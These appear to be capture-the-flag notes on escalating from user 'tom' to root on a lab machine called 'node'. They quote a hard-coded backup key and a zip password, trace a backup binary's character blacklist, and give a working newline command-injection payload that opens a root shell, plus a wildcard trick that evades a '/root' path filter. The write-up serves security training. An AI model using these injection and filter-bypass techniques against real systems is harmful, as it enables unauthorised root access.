6 privesc tom > root
tom@node:~$ id
uid=1000(tom) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1002(admin)
# we know tom can run /usr/local/bin/backup
tom@node:~$ which backup
/usr/local/bin/backup
# looking back at code for app.js
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
app.get('/api/admin/backup', function (req, res) {
if (req.session.user && req.session.user.is_admin) {
var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
var backup = '';
proc.on("exit", function(exitCode) {
res.header("Content-Type", "text/plain");
res.header("Content-Disposition", "attachment; filename=myplace.backup");
res.send(backup);
});
# the backup takes 3 args
# -q <backup key>
# a directory to backup
# tried the following
backup -q <key> /root/root.txt
# push encoded hash in backup1
cat backup1 | base64 -d > backup1_d
# unzip backup1_d; had to use 7z
7z x backup1_d
# got troll image
# need to analyze code
# running strings
/root
/etc
/tmp/.backup_%i
/usr/bin/zip -r -P magicword %s %s > /dev/null
# -r recursive path
# -P password
# %s is the dir path
# while trying to run strace backup -q <key> /etc/shadow
strstr("/etc/shadow", "..") = nil
strstr("/etc/shadow", "/root") = nil
strchr("/etc/shadow", ';') = nil
strchr("/etc/shadow", '&') = nil
strchr("/etc/shadow", '`') = nil
strchr("/etc/shadow", '$') = nil
strchr("/etc/shadow", '|') = nil
strstr("/etc/shadow", "//") = nil
strcmp("/etc/shadow", "/") = 1
strstr("/etc/shadow", "/etc") = "/etc/shadow"
sprintf("/usr/bin/zip -r -P magicword /tm"..., "/usr/bin/zip -r -P magicword %s "..., "/tmp/.backup_1865513957", "bla") = 68
system("/usr/bin/zip -r -P magicword /tm"... <no return ...>
# The strstr() function finds the first occurrence of string2 in string1.
# all those are basically blacklisted; can't be used in directory name
# trying command injection using \n as its not blocked
# as the command expect two %s
# first is being used for zip command
# second is > /dev/null
bla$'\n'"RCE-GOES-HERE"$'\n'bla
# first string: bla
# newline: $'\n'
# command injected: anything
# newline: $'\n'
# second string: bla
tom@node:/tmp$ backup -q '' bla$'\n'"/bin/bash -i"$'\n'bla
zip warning: name not matched: bla
zip error: Nothing to do! (try: zip -r -P magicword /tmp/.backup_422861227 . -i bla)
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@node:/tmp# whoami;id
root
uid=0(root) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1002(admin)
# can get root flag directly by using wildcards
# as strstr is searcing for '/root'; we can use wildcard to avoid it
backup -q '' /r*ot/ro*t.txt
Last updated